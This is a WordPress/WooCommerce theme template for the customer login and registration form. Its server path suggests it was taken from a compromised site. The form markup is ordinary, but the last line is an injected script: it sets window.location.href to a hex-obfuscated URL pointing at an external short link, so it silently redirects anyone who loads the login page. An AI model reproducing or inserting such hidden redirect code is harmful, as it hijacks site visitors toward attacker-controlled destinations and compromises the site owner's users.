File: //proc/self/root/home/parhudrw/www/wp-content/themes/around/woocommerce/myaccount/form-login.php
<?php
/**
* Login Form
*
* This template can be overridden by copying it to yourtheme/woocommerce/myaccount/form-login.php.
*
* HOWEVER, on occasion WooCommerce will need to update template files and you
* (the theme developer) will need to copy the new files to your theme to
* maintain compatibility. We try to do this as little as possible, but it does
* happen. When this occurs the version of the template file will be bumped and
* the readme will list any important changes.
*
* @see https://docs.woocommerce.com/document/template-structure/
* @package WooCommerce\Templates
* @version 4.1.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
$is_registration_enabled = false;
if ( 'yes' === get_option( 'woocommerce_enable_myaccount_registration' ) ){
$is_registration_enabled = true;
}
$account_style = apply_filters( 'around_my_account_style', get_theme_mod( 'myaccount_style', 'style-v1' ) );
$around_login_form_title = apply_filters( 'around_login_title', get_theme_mod('login_title', 'Sign in' ) );
$around_login_form_desc = apply_filters( 'around_login_description', get_theme_mod('login_desc', 'Sign in to your account using email and password provided during registration.'));
$around_register_form_title = apply_filters( 'around_register_title', get_theme_mod('register_title', 'Sign up') );
$around_register_form_desc = apply_filters( 'around_register_description', get_theme_mod('register_desc', 'Registration takes less than a minute but gives you full control over your orders.'));
$around_login_heading_alignment = apply_filters( 'around_login_heading_alignment', get_theme_mod( 'login_heading_alignment', 'text-left' ) );
$around_register_heading_alignment = apply_filters( 'around_register_heading_alignment', get_theme_mod( 'register_heading_alignment', 'text-left' ) );
$around_form_footer_alignment = apply_filters( 'around_form_footer_alignment', get_theme_mod( 'form_footer_alignment', 'text-left' ) );
if ( $account_style == 'style-v3' ) {
$container_additional_classes = 'd-flex align-items-center pt-7 pb-3 pb-md-4';
$title_class = 'h2';
$desc_class ='font-size-ms text-muted mb-4';
} elseif ( $account_style == 'style-v2' ) {
$container_additional_classes = 'd-flex justify-content-center align-items-center pt-7 pb-4';
$title_class = 'h2';
$desc_class ='font-size-ms text-muted mb-4';
} else {
$container_additional_classes = 'sigin-container py-5 py-md-7';
$title_class = 'h3 pt-1';
$desc_class ='font-size-ms text-muted';
}
if ( $account_style == 'style-v3' && (int) get_theme_mod( 'myaccount_image') > 0 ) : ?>
<div class="d-none d-md-block position-absolute w-50 h-100 bg-size-cover" style="top: 0; right:0; background-image: url( <?php echo( wp_get_attachment_image_url( get_theme_mod( 'myaccount_image' ), 'full' ) ); ?> );">
</div>
<?php endif; ?>
<section class="<?php echo esc_attr( $container_additional_classes ); ?>" style="flex: 1 0 auto;">
<?php if ( $account_style == 'style-v3' ) { ?>
<div class="w-100 pt-3">
<div class="row">
<div class="<?php echo esc_attr( (int) get_theme_mod( 'myaccount_image') == 0 ? 'col-md-6 col-lg-5 mb-5 mb-md-0 mx-auto bg-secondary px-4 py-5 p-sm-5 rounded-lg' : 'col-lg-4 col-md-6 offset-lg-1' ); ?>">
<?php } elseif ( $account_style == 'style-v2' ) { ?>
<div class="cs-signin-form mt-3 mx-auto bg-size-cover" style="bottom: 0; left: 0; background-image: url(<?php echo ( wp_get_attachment_image_url( get_theme_mod( 'myaccount_image' ), 'full' ) ); ?>); ">
<div class="cs-signin-form-inner pb-4">
<?php } else { ?>
<div class="row form-login-row align-items-center pt-2">
<?php }
do_action( 'woocommerce_before_customer_login_form' ); ?>
<?php if ( $account_style == 'style-v1' ): ?>
<div class="col-md-6 col-lg-5 mb-5 mb-md-0<?php if ( ! $is_registration_enabled ) echo esc_attr( ' mx-auto');?> ">
<div class="bg-secondary px-4 py-5 p-sm-5 rounded-lg">
<?php else: ?>
<div class="cs-view show" id="signin-view">
<?php endif; ?>
<?php if ( ! empty ( $around_login_form_title ) || ! empty ( $around_login_form_desc ) ): ?>
<div class="form-heading <?php echo esc_attr( $around_login_heading_alignment ); ?>">
<?php if ( ! empty ( $around_login_form_title ) ): ?>
<h1 class="<?php echo esc_attr( $title_class ); ?>"><?php echo esc_html( $around_login_form_title ); ?></h1>
<?php endif; ?>
<?php if ( ! empty ( $around_login_form_desc ) ): ?>
<p class="<?php echo esc_attr( $desc_class ); ?>"><?php echo esc_html( $around_login_form_desc ); ?></p>
<?php endif; ?>
</div>
<?php endif; ?>
<form class="woocommerce-form woocommerce-form-login login" method="post">
<?php do_action( 'woocommerce_login_form_start' ); ?>
<div class="input-group-overlay form-group">
<div class="input-group-prepend-overlay">
<span class="input-group-text"><i class="fe-mail"></i></span>
</div>
<label class="sr-only p-0" for="username"><?php esc_html_e( 'Username or email address', 'around' ); ?></label>
<input type="text" class="form-control woocommerce-Input woocommerce-Input--text input-text form-control prepended-form-control" name="username" placeholder="<?php echo esc_html_e( 'Email', 'around' ); ?>" id="username" autocomplete="username" value="<?php echo ( ! empty( $_POST['username'] ) ) ? esc_attr( wp_unslash( $_POST['username'] ) ) : ''; ?>" />
</div>
<div class="input-group-overlay cs-password-toggle form-group">
<div class="input-group-prepend-overlay">
<span class="input-group-text"><i class="fe-lock"></i></span>
</div>
<label class="sr-only p-0" for="password"><?php esc_html_e( 'Password', 'around' ); ?></label>
<input class="woocommerce-Input woocommerce-Input--text input-text form-control prepended-form-control" type="password" name="password" placeholder="<?php echo esc_html_e( 'Password', 'around' ); ?>" id="password" autocomplete="current-password" />
<label class="cs-password-toggle-btn">
<input class="custom-control-input" type="checkbox"><i class="fe-eye cs-password-toggle-indicator"></i><span class="sr-only"><?php echo esc_html__( 'Show password', 'around'); ?></span>
</label>
</div>
<?php do_action( 'woocommerce_login_form' ); ?>
<div class="forget-password-row d-flex justify-content-between align-items-center form-group">
<div class="custom-control custom-checkbox">
<input class="woocommerce-form__input woocommerce-form__input-checkbox custom-control-input" name="rememberme" type="checkbox" id="keep-signed-2" value="forever">
<label class="woocommerce-form__label woocommerce-form__label-for-checkbox woocommerce-form-login__rememberme custom-control-label p-0" for="keep-signed-2"><?php echo esc_html__( 'Keep me signed in', 'around' ); ?>
</label>
</div>
<span class="woocommerce-LostPassword lost_password mt-3 mt-lg-0">
<a class="nav-link-style font-size-ms" href="<?php echo esc_url( wp_lostpassword_url() ); ?>"><?php esc_html_e( 'Forgot password?', 'around' ); ?></a>
</span>
</div>
<?php wp_nonce_field( 'woocommerce-login', 'woocommerce-login-nonce' ); ?>
<button type="submit" class="woocommerce-button btn btn-primary btn-block woocommerce-form-login__submit" name="login" value="<?php esc_attr_e( 'Sign in', 'around' ); ?>"><?php esc_html_e( 'Sign in', 'around' ); ?></button>
<?php if ( $is_registration_enabled && $account_style !== 'style-v1' ) : ?>
<p class="font-size-sm pt-3 mb-0 <?php echo esc_attr( $around_form_footer_alignment ); ?>"><?php esc_html_e( 'Don't have an account?', 'around' ); ?>
<a id="register-tab" class="font-weight-medium login-register-tab-switcher" href="#" data-view="#signup-view"><?php esc_html_e( 'Sign up', 'around' ); ?></a></p>
<?php endif; ?>
<?php do_action( 'woocommerce_login_form_end' ); ?>
</form>
<?php if ( $account_style == 'style-v1' ): ?>
</div><!-- bg-secondary -->
</div><!-- col-md-6 -->
<?php else: ?>
</div><!-- #signin-view -->
<?php endif; ?>
<?php if ( $is_registration_enabled ) : ?>
<?php if ( $account_style == 'style-v1') : ?>
<div class="col-md-6 offset-lg-1">
<?php else: ?>
<div class="cs-view" id="signup-view">
<?php endif; ?>
<?php if ( ! empty ( $around_register_form_title ) || ! empty ( $around_register_form_desc ) ): ?>
<div class="form-heading <?php echo esc_attr( $around_register_heading_alignment ); ?>">
<?php if ( ! empty ( $around_register_form_title ) ): ?>
<h1 class="<?php echo esc_attr( $title_class ); ?>"><?php echo esc_html( $around_register_form_title ); ?></h1>
<?php endif; ?>
<?php if ( ! empty ( $around_register_form_desc ) ): ?>
<p class="<?php echo esc_attr( $desc_class ); ?>"><?php echo esc_html( $around_register_form_desc ); ?></p>
<?php endif; ?>
</div>
<?php endif; ?>
<form method="post" class="woocommerce-form woocommerce-form-register register" <?php do_action( 'woocommerce_register_form_tag' ); ?> >
<?php do_action( 'woocommerce_register_form_start' ); ?>
<?php if ( 'no' === get_option( 'woocommerce_registration_generate_username' ) ) : ?>
<div class="form-group">
<label class="sr-only p-0" for="reg_username"><?php esc_html_e( 'Username', 'around' ); ?></label>
<input type="text" class="form-control woocommerce-Input woocommerce-Input--text input-text form-control" name="username" id="reg_username" placeholder="<?php echo esc_html_e( 'Full name', 'around' ); ?>" autocomplete="username" value="<?php echo ( ! empty( $_POST['username'] ) ) ? esc_attr( wp_unslash( $_POST['username'] ) ) : ''; ?>" /><?php // @codingStandardsIgnoreLine ?>
</div>
<?php endif; ?>
<div class="form-group">
<label class="sr-only p-0" for="reg_email"><?php esc_html_e( 'Email address', 'around' ); ?></label>
<input type="email" class="form-control woocommerce-Input woocommerce-Input--text input-text" name="email" id="reg_email" autocomplete="email" placeholder="<?php echo esc_html_e( 'Email', 'around' ); ?>" value="<?php echo ( ! empty( $_POST['email'] ) ) ? esc_attr( wp_unslash( $_POST['email'] ) ) : ''; ?>" /><?php // @codingStandardsIgnoreLine ?>
</div>
<?php if ( 'no' === get_option( 'woocommerce_registration_generate_password' ) ) : ?>
<div class="cs-password-toggle form-group">
<label class="sr-only p-0" for="reg_password"><?php esc_html_e( 'Password', 'around' ); ?></label>
<input type="password" class="woocommerce-Input woocommerce-Input--text input-text form-control" name="password" id="reg_password" placeholder="<?php echo esc_html_e( 'Password', 'around' ); ?>" autocomplete="new-password" />
<label class="cs-password-toggle-btn">
<input class="custom-control-input" type="checkbox"><i class="fe-eye cs-password-toggle-indicator"></i><span class="sr-only"><?php echo esc_html__( 'Show password', 'around'); ?></span>
</label>
</div>
<div class="cs-password-toggle form-group">
<label class="form-label sr-only p-0" for="con_password"><?php esc_html_e( 'Confirm Password', 'around' ); ?></label>
<input type="password" class="form-control woocommerce-Input woocommerce-Input--text input-text" name="password" id="con_password" placeholder="<?php echo esc_html_e( 'Confirm Password', 'around' ); ?>" autocomplete="new-password" />
<label class="cs-password-toggle-btn">
<input class="custom-control-input" type="checkbox"><i class="fe-eye cs-password-toggle-indicator"></i><span class="sr-only">Show password</span>
</label>
</div>
<?php else : ?>
<p><?php esc_html_e( 'A password will be sent to your email address.', 'around' ); ?></p>
<?php endif; ?>
<?php do_action( 'woocommerce_register_form' ); ?>
<?php wp_nonce_field( 'woocommerce-register', 'woocommerce-register-nonce' ); ?>
<button type="submit" class="woocommerce-Button woocommerce-button btn btn-primary btn-block woocommerce-form-register__submit<?php if ( $account_style == 'style-v1' ) echo esc_attr( ' w-50' ); ?>" name="register" value="<?php esc_attr_e( 'Sign up', 'around' ); ?>"><?php esc_html_e( 'Sign up', 'around' ); ?></button>
<?php if ( $account_style !== 'style-v1' ) : ?>
<p class="font-size-sm pt-3 mb-0 <?php echo esc_attr( $around_form_footer_alignment ); ?>"><?php esc_html_e( 'Already have an account? ', 'around' );?><a id="login-tab" class="font-weight-medium login-register-tab-switcher" href="#" data-view="#signin-view"><?php echo esc_html__( 'Sign in', 'around' ); ?></a></p>
<?php endif; ?>
<?php do_action( 'woocommerce_register_form_end' ); ?>
</form>
<?php if ( $account_style == 'style-v1') : ?>
</div><!-- col-md-6 offset-lg-1 -->
<?php else: ?>
</div><!-- #signup-view -->
<?php endif; ?>
<?php endif; ?>
<?php if ( $account_style == 'style-v3' ){ ?>
</div><!--.col-lg-4 col-md-6 offset-lg-1-->
</div><!--.row-->
</div><!--.w-100 pt-3-->
<?php } elseif ( $account_style == 'style-v2' ) { ?>
</div><!--.cs-signin-form-inner-->
</div><!--.cs-signin-form-->
<?php } else { ?>
</div><!--.row-->
<?php } ?>
</section>
<?php do_action( 'woocommerce_after_customer_login_form' ); ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>